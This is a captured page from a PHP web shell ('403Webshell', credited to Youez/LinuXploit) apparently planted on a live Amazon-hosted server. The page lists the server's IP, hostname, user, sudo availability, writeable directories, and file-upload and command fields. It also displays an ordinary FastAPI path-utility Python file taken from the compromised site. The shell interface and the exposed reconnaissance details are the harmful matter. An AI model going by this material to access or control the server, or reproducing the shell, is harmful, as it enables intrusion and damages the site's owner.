403Webshell
Server IP : 3.147.158.171  /  Your IP : 216.73.216.216
Web Server : Apache/2.4.67 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-2-178.us-east-2.compute.internal 6.1.172-216.329.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 20 06:31:34 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /tsai/www/html/api.turmansolutions.ai/app/utilities/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tsai/www/html/api.turmansolutions.ai/app/utilities/path_utils.py
import os
import logging
from fastapi import HTTPException, Request, status
from urllib.parse import urlparse

from app.appTypes import SiteConfig, PathSegment


class PathUtils:

    def url_to_file_path(self, sourceImage: str, site: SiteConfig):
        parsed_url = urlparse(sourceImage)
        myPath = parsed_url.path
        # logging.info(f'mypath is {myPath}')
        file_path = os.environ.get('BASE_DIR')

        if myPath.startswith(PathSegment.WP_FILES.value):
            file_path += '/sites/' + site.wp_dir  + myPath
        elif myPath.startswith(PathSegment.DRUPAL_FILES.value):
            file_path += PathSegment.DRUPAL_WEB.value + myPath
        else:
            raise HTTPException(status_code=400, detail=f"File not found")
        return file_path

    def get_drupal_files_url(self):
        url = os.environ.get('DRUPAL_HOST') + \
            PathSegment.DRUPAL_FILES.value + os.environ['CHATBOT_DIR']
        return url

    def get_drupal_base_dir(self):
        drupal_dir = os.environ.get(
            'BASE_DIR') + PathSegment.DRUPAL_WEB.value
        # logging.info(f'drupal dir: {drupal_dir}')
        return drupal_dir

    def get_site_files_dir(self, site: SiteConfig):

        files_dir = self.get_drupal_base_dir() + PathSegment.DRUPAL_FILES.value + \
            os.environ['CHATBOT_DIR'] + '/' + site.slug
        return files_dir

Youez - 2016 - github.com/yon3zu
LinuXploit